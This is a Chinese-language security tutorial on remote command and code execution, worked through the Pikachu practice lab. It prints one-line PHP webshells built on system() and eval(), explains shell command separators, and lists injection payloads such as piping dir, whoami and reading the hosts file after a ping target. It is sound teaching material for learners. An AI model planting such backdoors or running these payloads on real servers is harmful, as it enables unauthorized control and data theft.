
前言再讲rce漏洞之前 问大家一个问题你们肯定听说过一句话木马 后门文件这些词汇吧那你们知道他们是利用什么进行攻击的吗就是利用咱们要讲的rce漏洞去执行的开场假如你的电脑有一把“万能钥匙”什么是 RCE 漏洞它就像一把能打开你家、邻居家甚至整栋楼的“万能钥匙”。一旦被黑客掌握他们就能远程打开你的电脑、服务器甚至整个网络大门在你的系统里为所欲为。RCE(remote command/code execute)概述RCE漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或者代码从而控制后台系统。根源就是一句话用户可控输入 未过滤/过滤不严 直接执行命令/代码 RCE漏洞。官方定义一种高危安全漏洞允许攻击者通过网络连接在目标系统服务器、电脑、手机等上未经授权地执行任意代码或命令。这意味着攻击者完全控制了受影响的设备能窃取数据、植入恶意软件甚至接管整个网络系统。人话解释你家的电脑或公司的服务器在网上有个“入口”比如一个网站或APP接口。正常情况下这个入口只让你做特定的事比如登录、发帖。但如果存在RCE漏洞就相当于大门没锁黑客能通过这个入口让你的设备“言听计从”执行他发给你的任何指令比如删文件、偷密码甚至用你的设备去攻击别人。产生的原因有些网站的功能比如 “文件上传”“搜索框”“设备控制界面”程序员没过滤用户输入的内容黑客就趁机输入一 段“系统能识别的命令”比如 “删除所有文件”“偷取数据库里的用户密码”服务器一看 “哦是能执行的指令”就傻乎乎照做了。我们通过定义知道rce漏洞是分为两种 命令执行和代码执行两种RCE命令执行vs.代码执行命令执行简单代码?php $code$_GET[x]; echo system($code); ?这是一个【完整的后门 / 一句话木马】谁访问都能直接执行服务器系统命令逐行解释$code$_GET[x];接收网址上传来的参数 x把它存到变量里。echo system($code);直接执行 $code 里的内容当成系统命令运行并把结果输出到网页上。打印输出访问系统文件 system相当于cmd?x命令 直接执行系统命令system() PHP 执行系统命令的危险函数http://pikachu/2.1.php/?xipconfig无乱码版?php // 设置页面编码为 UTF-8防止网页乱码 header(Content-Type: text/html; charsetutf-8); // 获取URL地址栏里的 x 参数用户输入的系统命令 $code $_GET[x]; // 开启输出缓冲区捕获系统命令执行的所有输出内容 ob_start(); // 执行用户传入的系统命令高危函数存在RCE漏洞 system($code); // 获取缓冲区里的所有命令执行结果 $res ob_get_contents(); // 关闭并清空缓冲区 ob_end_clean(); // 将Windows命令行的GBK编码 转为 网页UTF-8编码彻底解决乱码 echo iconv(GBK,UTF-8//IGNORE,$res); ?你还能玩的命令?xwhoami 查看当前用户?xipconfig 查看网卡信息?xdir 查看目录文件?xcalc 打开计算器测试用?xping 127.0.0.1 ping本地地址?xnet user?xmsg /server:10.9.31.250 * 把你的零食给我交出来 (在局域网里面对已知IP地址进行弹窗处理)代码执行简单代码?php $code$_GET[x]; eval($code); ?这是 PHP 最危险的代码 —— 一句话木马后门它能让任何人通过网址直接控制你的服务器逐行解析$code$_GET[x];获取URL地址栏中参数 x 的值用户输入的代码eval($code); eval()函数把传入的字符串当作 PHP 代码直接执行http://pikachu/1.php/?xphpinfo();?xphpinfo(); PHP 的「体检报告」?xsystem(whoami); 执行系统命令?xsystem(ipconfig); 执行系统命令为什么比 system () 更危险system() 只能执行系统命令eval() 能执行 任意 PHP 代码 任意系统命令等于把服务器完全敞开总结命令执行能做的 代码执行也可以做 命令执行不能做的 我代码执行还可以做连接符我们先来了解下Windows系统和Linux系统的连接符Windows系统|只执行后面的语句。||如果前面的语句执行失败则执行后面的语句。两条语句都执行如果前面的语句为假则执行后面的语句如果前面的语句为真则不执行后面的语句。如果前面的语句为假则直接出错也不再执行后面的语句前面的语句为真则两条命令都执行前面的语句只能为真。Linux系统;执行完前面的语句再执行后面的语句当有一条命令执行失败时不会影响其它语句的执行。|管道符只执行后面的语句。||逻辑或只有前面的语句执行出错时执行后面的语句。后台任务符两条语句都执行如果前面的语句为假则执行后面的语句如果前面的语句为真则不执行后面的语句。逻辑与如果前面的语句为假则直接出错也不再执行后面的语句前面的语句为真则两条命令都执行前面的语句只能为真。命令替换当一个命令被解析时它首先会执行反引号之间的操作。例 echo whoami处理乱码在使用pikachu平台进行RCE测试的时候使用ping时返回的结果会出现乱码为浏览器与PHP脚本默认的编码之间存在冲突如下图打开以下文件65行回车加入下面这句话$result iconv(GBK, UTF-8, $result);exec ping远程命令执行 (Command Execution)生活比喻点外卖你家的系统就像一个餐厅有固定的菜单系统命令。正常情况下你通过网站输入一个合法的“菜品”系统就帮你“下单”执行。但如果有漏洞黑客就可以在“菜品”后面偷偷加一句“顺便帮我把厨房的垃圾倒了”执行另一个命令系统傻傻地照做了。技术原理应用程序将用户输入直接拼接到操作系统命令中执行而没有做任何过滤或转义处理。回到题目我们先来ping一下本地127.0.0.1我们跟上连接符看看能不能执行其他命令127.0.0.1 | dir C:这里成功查看了C盘的文件咱们也可以尝试一下其他的连接符这里我就不多做演示了理论上可以执行任何的系统命令127.0.0.1 | whoami查看当前运行这个程序的用户名Payload作用Windows127.0.0.1ipconfig查看服务器的网络配置127.0.0.1dir查看当前目录下的文件列表127.0.0.1type C:\Windows\System32\drivers\etc\hosts查看系统 hosts 文件内容exec eval远程代码执行 (Code Execution)生活比喻请私厨上门这次黑客不满足于点你菜单上的菜了。他直接把自己的“厨师”恶意代码派到你家厨房让他用你家的锅碗瓢盆系统资源做任何他想做的“黑暗料理”完全接管了烹饪过程。技术原理应用程序将用户输入当作自身程序代码的一部分来编译并执行。例如 PHP 中的eval()函数会直接把传入的字符串当作代码运行。这里pikachu的远程代码执行真的非常简单建议玩下其他靶场的远程代码执行eval函数这里我就简单介绍下eval这个函数动态执行代码eval() 函数使程序能够在运行时动态执行字符串中的代码。它可以将字符串中的代码作为有效的程序代码进行解析和执行。字符串转换为代码eval() 函数将接收到的字符串参数解析为编程语言的有效代码并尝试执行该代码。这意味着您可以在字符串中包含变量、表达式、函数调用等并且它们将在执行时被解释和计算。phpinfo();phpinfo() 是PHP 内置的核心函数作用只有一个一键输出当前服务器 / 环境的所有 PHP 详细信息。简单说它就是 PHP 的「体检报告」。它能显示什么信息运行这行代码会直接打印出一整页详细内容包括PHP 版本7.4 / 8.0 / 8.1 等运行环境Apache/Nginx、操作系统、服务器软件开启的扩展 / 模块MySQL、Redis、GD、curl 等配置参数最大上传大小、超时时间、内存限制PHP 编译信息、路径、环境变量加油各位( •̀ ω •́ )y 期待与君再相逢